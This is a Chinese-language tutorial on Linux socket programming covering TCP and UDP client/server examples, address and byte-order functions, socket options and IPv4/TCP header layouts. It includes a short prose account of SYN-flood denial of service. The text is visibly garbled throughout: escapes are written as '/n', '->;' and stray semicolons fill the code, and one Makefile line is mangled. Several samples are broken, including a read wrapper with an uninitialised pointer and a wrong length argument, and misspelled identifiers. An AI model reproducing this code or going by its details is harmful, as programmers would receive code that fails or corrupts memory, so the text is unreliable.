不過由于系統的相容性,我們一般不用這個頭檔案,而使用另外一個結構(struct sock

addr_in) 來代替.在<linux/in.h>;中有sockaddr_in的定義

struct sockaddr_in{

unsigned short sin_family;

unsigned short int sin_port;

struct in_addr sin_addr;

unsigned char sin_zero[8];

我們主要使用Internet是以sin_family一般為AF_INET,sin_addr設定為INADDR_ANY表

示可以 和任何的主機通信,sin_port是我們要監聽的端口号.sin_zero[8]是用來填充的

.. bind将本地的端口同socket傳回的檔案描述符捆綁在一起.成功是傳回0,失敗的情況和

socket一樣

2.3 listen

int listen(int sockfd,int backlog)

sockfd:是bind後的檔案描述符.

backlog:設定請求排隊的最大長度.當有多個用戶端程式和服務端相連時, 使用這個表示

可以介紹的排隊長度. listen函數将bind的檔案描述符變為監聽套接字.傳回的情況和b

ind一樣.

2.4 accept

int accept(int sockfd, struct sockaddr *addr,int *addrlen)

sockfd:是listen後的檔案描述符.

addr,addrlen是用來給用戶端的程式填寫的,伺服器端隻要傳遞指針就可以了. bind,li

sten和accept是伺服器端用的函數,accept調用時,伺服器端的程式會一直阻塞到有一個

客戶程式發出了連接配接. accept成功時傳回最後的伺服器端的檔案描述符,這個時候服務

器端可以向該描述符寫資訊了. 失敗時傳回-1

2.5 connect

int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)

sockfd:socket傳回的檔案描述符.

serv_addr:儲存了伺服器端的連接配接資訊.其中sin_add是服務端的位址

addrlen:serv_addr的長度

connect函數是用戶端用來同服務端連接配接的.成功時傳回0,sockfd是同服務端通訊的檔案

描述符 失敗時傳回-1.

2.6 執行個體

伺服器端程式

#include <stdlib.h>;

#include <stdio.h>;

#include <errno.h>;

#include <string.h>;

#include <netdb.h>;

#include <sys/types.h>;

#include <netinet/in.h>;

#include <sys/socket.h>;

int main(int argc, char *argv[])

{

int sockfd,new_fd;

struct sockaddr_in server_addr;

struct sockaddr_in client_addr;

int sin_size,portnumber;

char hello[]="Hello! Are You Fine?/n";

if(argc!=2)

{

fprintf(stderr,"Usage:%s portnumber/a/n",argv[0]);

exit(1);

}

if((portnumber=atoi(argv[1]))<0)

{

fprintf(stderr,"Usage:%s portnumber/a/n",argv[0]);

exit(1);

}

if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)

{

fprintf(stderr,"Socket error:%s/n/a",strerror(errno));

exit(1);

}

bzero(&server_addr,sizeof(struct sockaddr_in));

server_addr.sin_family=AF_INET;

server_addr.sin_addr.s_addr=htonl(INADDR_ANY);

server_addr.sin_port=htons(portnumber);

if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==

-1)

{

fprintf(stderr,"Bind error:%s/n/a",strerror(errno));

exit(1);

}

if(listen(sockfd,5)==-1)

{

fprintf(stderr,"Listen error:%s/n/a",strerror(errno));

exit(1);

}

while(1)

{

sin_size=sizeof(struct sockaddr_in);

if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size

))==-1)

{

fprintf(stderr,"Accept error:%s/n/a",strerror(errno));

exit(1);

}

fprintf(stderr,"Server get connection from %s/n",

inet_ntoa(client_addr.sin_addr));

if(write(new_fd,hello,strlen(hello))==-1)

{

fprintf(stderr,"Write Error:%s/n",strerror(errno));

exit(1);

}

close(new_fd);

}

close(sockfd);

exit(0);

}

用戶端程式

#include <stdlib.h>;

#include <stdio.h>;

#include <errno.h>;

#include <string.h>;

#include <netdb.h>;

#include <sys/types.h>;

#include <netinet/in.h>;

#include <sys/socket.h>;

int main(int argc, char *argv[])

{

int sockfd;

char buffer[1024];

struct sockaddr_in server_addr;

struct hostent *host;

int portnumber,nbytes;

if(argc!=3)

{

fprintf(stderr,"Usage:%s hostname portnumber/a/n",argv[0]);

exit(1);

}

if((host=gethostbyname(argv[1]))==NULL)

{

fprintf(stderr,"Gethostname error/n");

exit(1);

}

if((portnumber=atoi(argv[2]))<0)

{

fprintf(stderr,"Usage:%s hostname portnumber/a/n",argv[0]);

exit(1);

}

if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)

{

fprintf(stderr,"Socket Error:%s/a/n",strerror(errno));

exit(1);

}

bzero(&server_addr,sizeof(server_addr));

server_addr.sin_family=AF_INET;

server_addr.sin_port=htons(portnumber);

server_addr.sin_addr=*((struct in_addr *)host->;h_addr);

if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr)

)==-1)

{

fprintf(stderr,"Connect Error:%s/a/n",strerror(errno));

exit(1);

}

if((nbytes=read(sockfd,buffer,1024))==-1)

{

fprintf(stderr,"Read Error:%s/n",strerror(errno));

exit(1);

}

buffer[nbytes]='/0';

printf("I have received:%s/n",buffer);

close(sockfd);

exit(0);

}

MakeFile

這裡我們使用GNU 的make實用程式來編譯. 關于make的詳細說明見 Make 使用介紹

######### Makefile ###########

all:server client

server:server.c

gcc $^ -o [email protected]

client:client.c

gcc $^ -o [email protected]

運作make後會産生兩個程式server(伺服器端)和client(用戶端) 先運作./server port

number& (portnumber随便取一個大于1204且不在/etc/services中出現的号碼 就用888

8好了),然後運作 ./client localhost 8888 看看有什麼結果. (你也可以用telnet和n

etstat試一試.) 上面是一個最簡單的網絡程式,不過是不是也有點煩.上面有許多函數我

們還沒有解釋. 我會在下一章進行的詳細的說明.

2.7 總結

總的來說網絡程式是由兩個部分組成的--用戶端和伺服器端.它們的建立步驟一般是:

伺服器端

socket-->;bind-->;listen-->;accept

用戶端

socket-->;connect

--

網絡程式設計(3)

3. 伺服器和客戶機的資訊函數

這一章我們來學習轉換和網絡方面的資訊函數.

3.1 位元組轉換函數

在網絡上面有着許多類型的機器,這些機器在表示資料的位元組順序是不同的, 比如i386芯

片是低位元組在記憶體位址的低端,高位元組在高端,而alpha晶片卻相反. 為了統一起來,在Li

nux下面,有專門的位元組轉換函數.

unsigned long int htonl(unsigned long int hostlong)

unsigned short int htons(unisgned short int hostshort)

unsigned long int ntohl(unsigned long int netlong)

unsigned short int ntohs(unsigned short int netshort)

在這四個轉換函數中,h 代表host, n 代表 network.s 代表short l 代表long 第一個函

數的意義是将本機器上的long資料轉化為網絡上的long. 其他幾個函數的意義也差不多

..

3.2 IP和域名的轉換

在網絡上标志一台機器可以用IP或者是用域名.那麼我們怎麼去進行轉換呢?

struct hostent *gethostbyname(const char *hostname)

struct hostent *gethostbyaddr(const char *addr,int len,int type)

在<netdb.h>;中有struct hostent的定義

struct hostent{

char *h_name;

char *h_aliases;

int h_addrtype;

int h_length;

char **h_addr_list;

}

#define h_addr h_addr_list[0]

gethostbyname可以将機器名(如 linux.yessun.com)轉換為一個結構指針.在這個結構裡

面儲存了域名的資訊

gethostbyaddr可以将一個32位的IP位址(C0A80001)轉換為結構指針.

這兩個函數失敗時傳回NULL 且設定h_errno錯誤變量,調用h_strerror()可以得到詳細的

出錯資訊

3.3 字元串的IP和32位的IP轉換.

在網絡上面我們用的IP都是數字加點(192.168.0.1)構成的, 而在struct in_addr結構中

用的是32位的IP, 我們上面那個32位IP(C0A80001)是的192.168.0.1 為了轉換我們可以

使用下面兩個函數

int inet_aton(const char *cp,struct in_addr *inp)

char *inet_ntoa(struct in_addr in)

函數裡面 a 代表 ascii n 代表network.第一個函數表示将a.b.c.d的IP轉換為32位的I

P,存儲在 inp指針裡面.第二個是将32位IP轉換為a.b.c.d的格式.

3.4 服務資訊函數

在網絡程式裡面我們有時候需要知道端口.IP和服務資訊.這個時候我們可以使用以下幾

個函數

int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)

int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)

struct servent *getservbyname(const char *servname,const char *protoname)

struct servent *getservbyport(int port,const char *protoname)

struct servent

{

char *s_name;

char **s_aliases;

int s_port;

char *s_proto;

}

一般我們很少用這幾個函數.對應用戶端,當我們要得到連接配接的端口号時在connect調用成

功後使用可得到 系統配置設定的端口号.對于服務端,我們用INADDR_ANY填充後,為了得到連

接的IP我們可以在accept調用成功後 使用而得到IP位址.

在網絡上有許多的預設端口和服務,比如端口21對ftp80對應WWW.為了得到指定的端口号

的服務 我們可以調用第四個函數,相反為了得到端口号可以調用第三個函數.

3.5 一個例子

#include <netdb.h>;

#include <stdio.h>;

#include <stdlib.h>;

#include <sys/socket.h>;

#include <netinet/in.h>;

int main(int argc ,char **argv)

{

struct sockaddr_in addr;

struct hostent *host;

char **alias;

if(argc<2)

{

fprintf(stderr,"Usage:%s hostname|ip../n/a",argv[0]);

exit(1);

}

argv++;

for(;*argv!=NULL;argv++)

{

if(inet_aton(*argv,&addr.sin_addr)!=0)

{

host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET);

printf("Address information of Ip %s/n",*argv);

}

else

{

host=gethostbyname(*argv); printf("Address information

of host %s/n",*argv);

}

if(host==NULL)

{

fprintf(stderr,"No address information of %s/n",*arg

v);

continue;

}

printf("Official host name %s/n",host->;h_name);

printf("Name aliases:");

for(alias=host->;h_aliases;*alias!=NULL;alias++)

printf("%s ,",*alias);

printf("/nIp address:");

for(alias=host->;h_addr_list;*alias!=NULL;alias++)

printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));

}

}

在這個例子裡面,為了判斷使用者輸入的是IP還是域名我們調用了兩個函數,第一次我們假

設輸入的是IP是以調用inet_aton, 失敗的時候,再調用gethostbyname而得到資訊.

--

網絡程式設計(4)

4. 完整的讀寫函數

一旦我們建立了連接配接,我們的下一步就是進行通信了.在Linux下面把我們前面建立的通道

看成是檔案描述符,這樣伺服器端和用戶端進行通信時候,隻要往檔案描述符裡面讀寫東

西了. 就象我們往檔案讀寫一樣.

4.1 寫函數write

ssize_t write(int fd,const void *buf,size_t nbytes)

write函數将buf中的nbytes位元組内容寫入檔案描述符fd.成功時傳回寫的位元組數.失敗時

傳回-1. 并設定errno變量. 在網絡程式中,當我們向套接字檔案描述符寫時有倆種可能

..

1)write的傳回值大于0,表示寫了部分或者是全部的資料.

2)傳回的值小于0,此時出現了錯誤.我們要根據錯誤類型來處理.

如果錯誤為EINTR表示在寫的時候出現了中斷錯誤.

如果為EPIPE表示網絡連接配接出現了問題(對方已經關閉了連接配接).

為了處理以上的情況,我們自己編寫一個寫函數來處理這幾種情況.

int my_write(int fd,void *buffer,int length)

{

int bytes_left;

int written_bytes;

char *ptr;

ptr=buffer;

bytes_left=length;

while(bytes_left>;0)

{

written_bytes=write(fd,ptr,bytes_left);

if(written_bytes<=0)

{

if(errno==EINTR)

written_bytes=0;

else

return(-1);

}

bytes_left-=written_bytes;

ptr+=written_bytes;

}

return(0);

}

4.2 讀函數read

ssize_t read(int fd,void *buf,size_t nbyte) read函數是負責從fd中讀取内容.當讀

成功時,read傳回實際所讀的位元組數,如果傳回的值是0 表示已經讀到檔案的結束了,小于

0表示出現了錯誤.如果錯誤為EINTR說明讀是由中斷引起的, 如果是ECONNREST表示網絡

連接配接出了問題. 和上面一樣,我們也寫一個自己的讀函數.

int my_read(int fd,void *buffer,int length)

{

int bytes_left;

int bytes_read;

char *ptr;

bytes_left=length;

while(bytes_left>;0)

{

bytes_read=read(fd,ptr,bytes_read);

if(bytes_read<0)

{

if(errno==EINTR)

bytes_read=0;

else

return(-1);

}

else if(bytes_read==0)

break;

bytes_left-=bytes_read;

ptr+=bytes_read;

}

return(length-bytes_left);

}

4.3 資料的傳遞

有了上面的兩個函數,我們就可以向用戶端或者是服務端傳遞資料了.比如我們要傳遞一

個結構.可以使用如下方式

struct my_struct my_struct_client;

write(fd,(void *)&my_struct_client,sizeof(struct my_struct);

char buffer[sizeof(struct my_struct)];

struct *my_struct_server;

read(fd,(void *)buffer,sizeof(struct my_struct));

my_struct_server=(struct my_struct *)buffer;

在網絡上傳遞資料時我們一般都是把資料轉化為char類型的資料傳遞.接收的時候也是一

樣的 注意的是我們沒有必要在網絡上傳遞指針(因為傳遞指針是沒有任何意義的,我們必

須傳遞指針所指向的内容)

--

網絡程式設計(5)

5. 使用者資料報發送

我們前面已經學習網絡程式的一個很大的部分,由這個部分的知識,我們實際上可以寫出

大部分的基于TCP協定的網絡程式了.現在在Linux下的大部分程式都是用我們上面所學的

知識來寫的.我們可以去找一些源程式來參考一下.這一章,我們簡單的學習一下基于UDP

協定的網絡程式.

5.1 兩個常用的函數

int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct socka

ddr * from int *fromlen)

int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct s

ockaddr *to int tolen)

sockfd,buf,len的意義和read,write一樣,分别表示套接字描述符,發送或接收的緩沖區

及大小.recvfrom負責從sockfd接收資料,如果from不是NULL,那麼在from裡面存儲了資訊

來源的情況,如果對資訊的來源不感興趣,可以将from和fromlen設定為NULL.sendto負責

向to發送資訊.此時在to裡面存儲了收資訊方的詳細資料.

5.2 一個執行個體

#include <sys/types.h>;

#include <sys/socket.h>;

#include <netinet/in.h>;

#include <stdio.h>;

#include <errno.h>;

#define SERVER_PORT 8888

#define MAX_MSG_SIZE 1024

void udps_respon(int sockfd)

{

struct sockaddr_in addr;

int addrlen,n;

char msg[MAX_MSG_SIZE];

while(1)

{

n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,

(struct sockaddr*)&addr,&addrlen);

msg[n]=0;

fprintf(stdout,"I have received %s",msg);

sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);

}

}

int main(void)

{

int sockfd;

struct sockaddr_in addr;

sockfd=socket(AF_INET,SOCK_DGRAM,0);

if(sockfd<0)

{

fprintf(stderr,"Socket Error:%s/n",strerror(errno));

exit(1);

}

bzero(&addr,sizeof(struct sockaddr_in));

addr.sin_family=AF_INET;

addr.sin_addr.s_addr=htonl(INADDR_ANY);

addr.sin_port=htons(SERVER_PORT);

if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0

)

{

fprintf(stderr,"Bind Error:%s/n",strerror(errno));

exit(1);

}

udps_respon(sockfd);

close(sockfd);

}

#include <sys/types.h>;

#include <sys/socket.h>;

#include <netinet/in.h>;

#include <errno.h>;

#include <stdio.h>;

#include <unistd.h>;

#define MAX_BUF_SIZE 1024

void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)

{

char buffer[MAX_BUF_SIZE];

int n;

while(1)

{

fgets(buffer,MAX_BUF_SIZE,stdin);

sendto(sockfd,buffer,strlen(buffer),0,addr,len);

bzero(buffer,MAX_BUF_SIZE);

n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);

buffer[n]=0;

fputs(buffer,stdout);

}

}

int main(int argc,char **argv)

{

int sockfd,port;

struct sockaddr_in addr;

if(argc!=3)

{

fprintf(stderr,"Usage:%s server_ip server_port/n",argv[0]);

exit(1);

}

if((port=atoi(argv[2]))<0)

{

fprintf(stderr,"Usage:%s server_ip server_port/n",argv[0]);

exit(1);

}

sockfd=socket(AF_INET,SOCK_DGRAM,0);

if(sockfd<0)

{

fprintf(stderr,"Socket Error:%s/n",strerror(errno));

exit(1);

}

bzero(&addr,sizeof(struct sockaddr_in));

addr.sin_family=AF_INET;

addr.sin_port=htons(port);

if(inet_aton(argv[1],&addr.sin_addr)<0)

{

fprintf(stderr,"Ip error:%s/n",strerror(errno));

exit(1);

}

udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));

close(sockfd);

}

########### 編譯檔案 Makefile ##########

all:server client

server:server.c

gcc -o server server.c

client:client.c

gcc -o client client.c

clean:

rm -f server

rm -f client

rm -f core

上面的執行個體如果大家編譯運作的話,會發現一個小問題的. 在我機器上面,我先運作服務

端,然後運作用戶端.在用戶端輸入資訊,發送到服務端, 在服務端顯示已經收到資訊,但

是用戶端沒有反映.再運作一個用戶端,向服務端發出資訊 卻可以得到反應.我想可能是

第一個用戶端已經阻塞了.如果誰知道怎麼解決的話,請告訴我,謝謝. 由于UDP協定是不

保證可靠接收資料的要求,是以我們在發送資訊的時候,系統并不能夠保證我們發出的信

息都正确無誤的到達目的地.一般的來說我們在編寫網絡程式的時候都是選用TCP協定的

--

網絡程式設計(6)

6. 進階套接字函數

在前面的幾個部分裡面,我們已經學會了怎麼樣從網絡上讀寫資訊了.前面的一些函數(r

ead,write)是網絡程式裡面最基本的函數.也是最原始的通信函數.在這一章裡面,我們一

起來學習網絡通信的進階函數.這一章我們學習另外幾個讀寫函數.

6.1 recv和send

recv和send函數提供了和read和write差不多的功能.不過它們提供 了第四個參數來控制

讀寫操作.

int recv(int sockfd,void *buf,int len,int flags)

int send(int sockfd,void *buf,int len,int flags)

前面的三個參數和read,write一樣,第四個參數可以是0或者是以下的組合

_______________________________________________________________

| MSG_DONTROUTE | 不查找路由表 |

| MSG_OOB | 接受或者發送帶外資料 |

| MSG_PEEK | 檢視資料,并不從系統緩沖區移走資料 |

| MSG_WAITALL | 等待所有資料 |

|--------------------------------------------------------------|

MSG_DONTROUTE:是send函數使用的标志.這個标志告訴IP協定.目的主機在本地網絡上面

,沒有必要查找路由表.這個标志一般用網絡診斷和路由程式裡面.

MSG_OOB:表示可以接收和發送帶外的資料.關于帶外資料我們以後會解釋的.

MSG_PEEK:是recv函數的使用标志,表示隻是從系統緩沖區中讀取内容,而不清楚系統緩沖

區的内容.這樣下次讀的時候,仍然是一樣的内容.一般在有多個程序讀寫資料時可以使用

這個标志.

MSG_WAITALL是recv函數的使用标志,表示等到所有的資訊到達時才傳回.使用這個标志的

時候recv回一直阻塞,直到指定的條件滿足,或者是發生了錯誤. 1)當讀到了指定的位元組

時,函數正常傳回.傳回值等于len 2)當讀到了檔案的結尾時,函數正常傳回.傳回值小于

len 3)當操作發生錯誤時,傳回-1,且設定錯誤為相應的錯誤号(errno)

如果flags為0,則和read,write一樣的操作.還有其它的幾個選項,不過我們實際上用的很

少,可以檢視 Linux Programmer's Manual得到詳細解釋.

6.2 recvfrom和sendto

這兩個函數一般用在非套接字的網絡程式當中(UDP),我們已經在前面學會了.

6.3 recvmsg和sendmsg

recvmsg和sendmsg可以實作前面所有的讀寫函數的功能.

int recvmsg(int sockfd,struct msghdr *msg,int flags)

int sendmsg(int sockfd,struct msghdr *msg,int flags)

struct msghdr

{

void *msg_name;

int msg_namelen;

struct iovec *msg_iov;

int msg_iovlen;

void *msg_control;

int msg_controllen;

int msg_flags;

}

struct iovec

{

void *iov_base;

size_t iov_len;

}

msg_name和 msg_namelen當套接字是非面向連接配接時(UDP),它們存儲接收和發送方的位址

資訊.msg_name實際上是一個指向struct sockaddr的指針,msg_name是結構的長度.當套

接字是面向連接配接時,這兩個值應設為NULL. msg_iov和msg_iovlen指出接受和發送的緩沖

區内容.msg_iov是一個結構指針,msg_iovlen指出這個結構數組的大小. msg_control和

msg_controllen這兩個變量是用來接收和發送控制資料時的 msg_flags指定接受和發送

的操作選項.和recv,send的選項一樣

6.4 套接字的關閉

關閉套接字有兩個函數close和shutdown.用close時和我們關閉檔案一樣.

6.5 shutdown

int shutdown(int sockfd,int howto)

TCP連接配接是雙向的(是可讀寫的),當我們使用close時,會把讀寫通道都關閉,有時侯我們希

望隻關閉一個方向,這個時候我們可以使用shutdown.針對不同的howto,系統回采取不同

的關閉方式.

howto=0這個時候系統會關閉讀通道.但是可以繼續往接字描述符寫.

howto=1關閉寫通道,和上面相反,着時候就隻可以讀了.

howto=2關閉讀寫通道,和close一樣 在多程序程式裡面,如果有幾個子程序共享一個套接

字時,如果我們使用shutdown, 那麼所有的子程序都不能夠操作了,這個時候我們隻能夠

使用close來關閉子程序的套接字描述符.

網絡程式設計(7)

7. TCP/IP協定

你也許聽說過TCP/IP協定,那麼你知道到底什麼是TCP,什麼是IP嗎?在這一章裡面,我們一

起來學習這個目前網絡上用最廣泛的協定.

7.1 網絡傳輸分層

如果你考過計算機等級考試,那麼你就應該已經知道了網絡傳輸分層這個概念.在網絡上

,人們為了傳輸資料時的友善,把網絡的傳輸分為7個層次.分别是:應用層,表示層,會話層

,傳輸層,網絡層,資料鍊路層和實體層.分好了層以後,傳輸資料時,上一層如果要資料的

話,就可以直接向下一層要了,而不必要管資料傳輸的細節.下一層也隻向它的上一層提供

資料,而不要去管其它東西了.如果你不想考試,你沒有必要去記這些東西的.隻要知道是

分層的,而且各層的作用不同.

7.2 IP協定

IP協定是在網絡層的協定.它主要完成資料包的發送作用. 下面這個表是IP4的資料包格

0 4 8 16 32

--------------------------------------------------

|版本 |首部長度|服務類型| 資料包總長 |

--------------------------------------------------

| 辨別 |DF |MF| 碎片偏移 |

--------------------------------------------------

| 生存時間 | 協定 | 首部較驗和 |

------------------------------------------------

| 源IP位址 |

------------------------------------------------

| 目的IP位址 |

-------------------------------------------------

| 選項 |

=================================================

| 資料 |

-------------------------------------------------

下面我們看一看IP的結構定義<netinet/ip.h>;

struct ip

{

#if __BYTE_ORDER == __LITTLE_ENDIAN

unsigned int ip_hl:4;

unsigned int ip_v:4;

#endif

#if __BYTE_ORDER == __BIG_ENDIAN

unsigned int ip_v:4;

unsigned int ip_hl:4;

#endif

u_int8_t ip_tos;

u_short ip_len;

u_short ip_id;

u_short ip_off;

#define IP_RF 0x8000

#define IP_DF 0x4000

#define IP_MF 0x2000

#define IP_OFFMASK 0x1fff

u_int8_t ip_ttl;

u_int8_t ip_p;

u_short ip_sum;

struct in_addr ip_src, ip_dst;

};

ip_vIP協定的版本号,這裡是4,現在IPV6已經出來了

ip_hlIP包首部長度,這個值以4位元組為機關.IP協定首部的固定長度為20個位元組,如果IP包

沒有選項,那麼這個值為5.

ip_tos服務類型,說明提供的優先權.

ip_len說明IP資料的長度.以位元組為機關.

ip_id辨別這個IP資料包.

ip_off碎片偏移,這和上面ID一起用來重組碎片的.

ip_ttl生存時間.沒經過一個路由的時候減一,直到為0時被抛棄.

ip_p協定,表示建立這個IP資料包的高層協定.如TCP,UDP協定.

ip_sum首部校驗和,提供對首部資料的校驗.

ip_src,ip_dst發送者和接收者的IP位址

關于IP協定的詳細情況,請參考 RFC791

7.3 ICMP協定

ICMP是消息控制協定,也處于網絡層.在網絡上傳遞IP資料包時,如果發生了錯誤,那麼就

會用ICMP協定來報告錯誤.

ICMP包的結構如下:

0 8 16 32

---------------------------------------------------------------------

| 類型 | 代碼 | 校驗和 |

--------------------------------------------------------------------

| 資料 | 資料 |

--------------------------------------------------------------------

ICMP在<netinet/ip_icmp.h>;中的定義是

struct icmphdr

{

u_int8_t type;

u_int8_t code;

u_int16_t checksum;

union

{

struct

{

u_int16_t id;

u_int16_t sequence;

} echo;

u_int32_t gateway;

struct

{

u_int16_t __unused;

u_int16_t mtu;

} frag;

} un;

};

關于ICMP協定的詳細情況可以檢視 RFC792

7.4 UDP協定

UDP協定是建立在IP協定基礎之上的,用在傳輸層的協定.UDP和IP協定一樣是不可靠的數

據報服務.UDP的頭格式為:

0 16 32

---------------------------------------------------

| UDP源端口 | UDP目的端口 |

---------------------------------------------------

| UDP資料報長度 | UDP資料報校驗 |

---------------------------------------------------

UDP結構在<netinet/udp.h>;中的定義為:

struct udphdr {

u_int16_t source;

u_int16_t dest;

u_int16_t len;

u_int16_t check;

};

關于UDP協定的詳細情況,請參考 RFC768

7.5 TCP

TCP協定也是建立在IP協定之上的,不過TCP協定是可靠的.按照順序發送的.TCP的資料結

構比前面的結構都要複雜.

0 4 8 10 16 24 32

-------------------------------------------------------------------

| 源端口 | 目的端口 |

-------------------------------------------------------------------

| 序列号 |

------------------------------------------------------------------

| 确認号 |

------------------------------------------------------------------

| | |U|A|P|S|F| |

|首部長度| 保留 |R|C|S|Y|I| 視窗 |

| | |G|K|H|N|N| |

-----------------------------------------------------------------

| 校驗和 | 緊急指針 |

-----------------------------------------------------------------

| 選項 | 填充位元組 |

-----------------------------------------------------------------

TCP的結構在<netinet/tcp.h>;中定義為:

struct tcphdr

{

u_int16_t source;

u_int16_t dest;

u_int32_t seq;

u_int32_t ack_seq;

#if __BYTE_ORDER == __LITTLE_ENDIAN

u_int16_t res1:4;

u_int16_t doff:4;

u_int16_t fin:1;

u_int16_t syn:1;

u_int16_t rst:1;

u_int16_t psh:1;

u_int16_t ack:1;

u_int16_t urg:1;

u_int16_t res2:2;

#elif __BYTE_ORDER == __BIG_ENDIAN

u_int16_t doff:4;

u_int16_t res1:4;

u_int16_t res2:2;

u_int16_t urg:1;

u_int16_t ack:1;

u_int16_t psh:1;

u_int16_t rst:1;

u_int16_t syn:1;

u_int16_t fin:1;

#endif

u_int16_t window;

u_int16_t check;

u_int16_t urg_prt;

};

source發送TCP資料的源端口

dest接受TCP資料的目的端口

seq辨別該TCP所包含的資料位元組的開始序列号

ack_seq确認序列号,表示接受方下一次接受的資料序列号.

doff資料首部長度.和IP協定一樣,以4位元組為機關.一般的時候為5

urg如果設定緊急資料指針,則該位為1

ack如果确認号正确,那麼為1

psh如果設定為1,那麼接收方收到資料後,立即交給上一層程式

rst為1的時候,表示請求重新連接配接

syn為1的時候,表示請求建立連接配接

fin為1的時候,表示親戚關閉連接配接

window視窗,告訴接收者可以接收的大小

check對TCP資料進行較核

urg_ptr如果urg=1,那麼指出緊急資料對于曆史資料開始的序列号的偏移值

關于TCP協定的詳細情況,請檢視 RFC793

7.6 TCP連接配接的建立

TCP協定是一種可靠的連接配接,為了保證連接配接的可靠性,TCP的連接配接要分為幾個步驟.我們把這

個連接配接過程稱為"三次握手".

下面我們從一個執行個體來分析建立連接配接的過程.

第一步客戶機向伺服器發送一個TCP資料包,表示請求建立連接配接. 為此,用戶端将資料包的

SYN位設定為1,并且設定序列号seq=1000(我們假設為1000).

第二步伺服器收到了資料包,并從SYN位為1知道這是一個建立請求的連接配接.于是伺服器也

向用戶端發送一個TCP資料包.因為是響應客戶機的請求,于是伺服器設定ACK為1,sak_se

q=1001(1000+1)同時設定自己的序列号.seq=2000(我們假設為2000).

第三步客戶機收到了伺服器的TCP,并從ACK為1和ack_seq=1001知道是從伺服器來的确認

資訊.于是客戶機也向伺服器發送确認資訊.客戶機設定ACK=1,和ack_seq=2001,seq=100

1,發送給伺服器.至此用戶端完成連接配接.

最後一步伺服器受到确認資訊,也完成連接配接.

通過上面幾個步驟,一個TCP連接配接就建立了.當然在建立過程中可能出現錯誤,不過TCP協定

可以保證自己去處理錯誤的.

說一說其中的一種錯誤.

聽說過DOS嗎?(可不是作業系統啊).今年春節的時候,美國的五大網站一起受到攻擊.攻

擊者用的就是DOS(拒絕式服務)方式.概括的說一下原理.

客戶機先進行第一個步驟.伺服器收到後,進行第二個步驟.按照正常的TCP連接配接,客戶機

應該進行第三個步驟.

不過攻擊者實際上并不進行第三個步驟.因為用戶端在進行第一個步驟的時候,修改了自

己的IP位址,就是說将一個實際上不存在的IP填充在自己IP資料包的發送者的IP一欄.這

樣因為伺服器發的IP位址沒有人接收,是以服務端會收不到第三個步驟的确認信号,這樣

服務務端會在那邊一直等待,直到逾時.

這樣當有大量的客戶送出請求後,服務端會有大量等待,直到所有的資源被用光,而不能再

接收客戶機的請求.

這樣當正常的使用者向伺服器送出請求時,由于沒有了資源而不能成功.于是就出現了春節

時所出現的情況.

----------------------------------------------------------------------------

網絡程式設計(8)

8. 套接字選項

有時候我們要控制套接字的行為(如修改緩沖區的大小),這個時候我們就要控制套接字的

選項了.

8.1 getsockopt和setsockopt

int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optl

en)

int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t

*optlen)

level指定控制套接字的層次.可以取三種值: 1)SOL_SOCKET:通用套接字選項. 2)IPPRO

TO_IP:IP選項. 3)IPPROTO_TCP:TCP選項.

optname指定控制的方式(選項的名稱),我們下面詳細解釋

optval獲得或者是設定套接字選項.根據選項名稱的資料類型進行轉換

選項名稱 說明 資料類型

========================================================================

SOL_SOCKET

------------------------------------------------------------------------

SO_BROADCAST 允許發送廣播資料 int

SO_DEBUG 允許調試 int

SO_DONTROUTE 不查找路由 int

SO_ERROR 獲得套接字錯誤 int

SO_KEEPALIVE 保持連接配接 int

SO_LINGER 延遲關閉連接配接 struct linge

r

SO_OOBINLINE 帶外資料放入正常資料流 int

SO_RCVBUF 接收緩沖區大小 int

SO_SNDBUF 發送緩沖區大小 int

SO_RCVLOWAT 接收緩沖區下限 int

SO_SNDLOWAT 發送緩沖區下限 int

SO_RCVTIMEO 接收逾時 struct timev

al

SO_SNDTIMEO 發送逾時 struct timev

al

SO_REUSERADDR 允許重用本地位址和端口 int

SO_TYPE 獲得套接字類型 int

SO_BSDCOMPAT 與BSD系統相容 int

==========================================================================

IPPROTO_IP

--------------------------------------------------------------------------

IP_HDRINCL 在資料包中包含IP首部 int

IP_OPTINOS IP首部選項 int

IP_TOS 服務類型

IP_TTL 生存時間 int

==========================================================================

IPPRO_TCP

--------------------------------------------------------------------------

TCP_MAXSEG TCP最大資料段的大小 int

TCP_NODELAY 不使用Nagle算法 int

=========================================================================

關于這些選項的詳細情況請檢視 Linux Programmer's Manual

8.2 ioctl

ioctl可以控制所有的檔案描述符的情況,這裡介紹一下控制套接字的選項.

int ioctl(int fd,int req,...)

==========================================================================

ioctl的控制選項

--------------------------------------------------------------------------

SIOCATMARK 是否到達帶外标記 int

FIOASYNC 異步輸入/輸出标志 int

FIONREAD 緩沖區可讀的位元組數 int

==========================================================================

詳細的選項請用 man ioctl_list 檢視.

--

網絡程式設計(9)

9. 伺服器模型

學習過《軟體工程》吧.軟體工程可是每一個程式員"必修"的課程啊.如果你沒有學習過

, 建議你去看一看. 在這一章裡面,我們一起來從軟體工程的角度學習網絡程式設計的思想.

在我們寫程式之前, 我們都應該從軟體工程的角度規劃好我們的軟體,這樣我們開發軟體

的效率才會高. 在網絡程式裡面,一般的來說都是許多客戶機對應一個伺服器.為了處理

客戶機的請求, 對服務端的程式就提出了特殊的要求.我們學習一下目前最常用的伺服器

模型.

循環伺服器:循環伺服器在同一個時刻隻可以響應一個用戶端的請求

并發伺服器:并發伺服器在同一個時刻可以響應多個用戶端的請求

